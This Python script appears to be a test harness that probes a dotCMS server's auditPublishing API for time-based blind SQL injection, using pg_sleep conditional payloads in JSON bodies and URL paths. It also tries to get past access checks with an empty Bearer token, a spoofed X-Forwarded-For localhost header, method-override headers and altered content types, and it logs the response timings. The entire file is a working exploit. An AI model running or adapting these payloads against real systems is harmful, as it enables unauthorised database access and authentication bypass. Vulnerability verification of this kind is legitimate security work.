import json, time, urllib.request, urllib.error, urllib.parse, os

host = os.environ.get("HOST", "dotcms")
base = f"http://{host}:8082"

def request(url, method="GET", body=None, headers=None):
    headers = headers or {}
    start = time.perf_counter()
    try:
        if body is not None and not isinstance(body, (str, bytes)):
            body = json.dumps(body).encode()
        elif isinstance(body, str):
            body = body.encode()
        req = urllib.request.Request(url, data=body, headers=headers, method=method)
        with urllib.request.urlopen(req, timeout=20) as resp:
            return resp.status, resp.read().decode(errors="replace"), time.perf_counter() - start, dict(resp.headers)
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), time.perf_counter() - start, dict(e.headers)
    except Exception as e:
        return -1, str(e), time.perf_counter() - start, {}

false_payload = ["x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '"]
true_payload = ["x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"]
sqli_get = "x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"

results = {
    "host": host,
    "tag": os.environ.get("TAG", "unknown"),
    "tests": {}
}

def record(name, status, body, duration, headers=None):
    results["tests"][name] = {
        "status": status,
        "body": body[:500] if isinstance(body, str) else str(body)[:500],
        "duration": duration,
        "headers": {k: v for k, v in (headers or {}).items() if k.lower() in ["content-type", "www-authenticate"]}
    }

# Positive control: original POST /getAll SQLi
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", false_payload, {"Content-Type": "application/json"})
record("getAll_false_condition", s, b, d, h)

s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json"})
record("getAll_true_condition", s, b, d, h)

# Candidate 1: GET /get/{bundleId} with SQLi payload in path
s, b, d, h = request(f"{base}/api/auditPublishing/get/{urllib.parse.quote(sqli_get)}")
record("get_path_sqli", s, b, d, h)

# Candidate 2: POST /getAll with body as a single JSON string instead of a list
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", json.dumps(sqli_get), {"Content-Type": "application/json"})
record("getAll_single_string_body", s, b, d, h)

# Candidate 3: POST /getAll with empty JSON list
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", [], {"Content-Type": "application/json"})
record("getAll_empty_list", s, b, d, h)

# Candidate 4: POST /getAll with text/plain content type
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", json.dumps(true_payload), {"Content-Type": "text/plain"})
record("getAll_text_plain", s, b, d, h)

# Candidate 5: POST /getAll with missing Content-Type
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", json.dumps(true_payload))
record("getAll_missing_content_type", s, b, d, h)

# Candidate 6: POST /getAll with Authorization header set to empty Bearer
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json", "Authorization": "Bearer "})
record("getAll_empty_bearer", s, b, d, h)

# Candidate 7: POST /getAll with X-Forwarded-For: 127.0.0.1 (auth endpoint-key lookup uses remote IP)
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json", "X-Forwarded-For": "127.0.0.1"})
record("getAll_x_forwarded_for_localhost", s, b, d, h)

# Candidate 8: POST /getAll with X-HTTP-Method-Override: GET (server-side method override, if supported)
s, b, d, h = request(f"{base}/api/auditPublishing/getAll", "POST", true_payload, {"Content-Type": "application/json", "X-HTTP-Method-Override": "GET"})
record("getAll_method_override", s, b, d, h)

print(json.dumps(results, indent=2))
